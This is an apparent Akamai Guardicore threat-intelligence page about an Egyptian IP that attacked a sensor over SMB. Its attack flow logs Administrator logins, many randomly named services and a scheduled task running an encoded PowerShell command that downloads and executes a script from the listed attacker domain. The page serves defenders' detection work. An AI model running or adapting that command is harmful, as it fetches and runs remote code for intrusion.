Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 197.45.53.137Malicious

IP Address: 197.45.53.137Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Service Creation Successful SMB Login PowerShell DNS Query CMD SMB Service Start Listening SMB Null Session Login SMB Share Connect Access Suspicious Domain File Operation By CMD Scheduled Task Creation IDS - A Network Trojan was detected

Associated Attack Servers

bing.protopower.icu

Basic Information

IP Address

197.45.53.137

Domain

-

ISP

-

Country

Egypt

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-01-01

Last seen in Akamai Guardicore Segmentation

2023-05-01

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named UWuu under service group None

Service Start Service Creation

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 16 times

Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named sOeM under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed as a service named aBJe under service group None

Service Creation

c:\windows\system32\services.exe installed and started as a service named LmVz under service group None

Service Start Service Creation

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started as a service named Eivt under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named fLPi under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named UlyQ under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named ltfi under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named cCHw under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named mYAt under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named BjUu under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named AOrn under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named HRdt under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed as a service named eSNE under service group None

Service Creation

Connection was closed due to timeout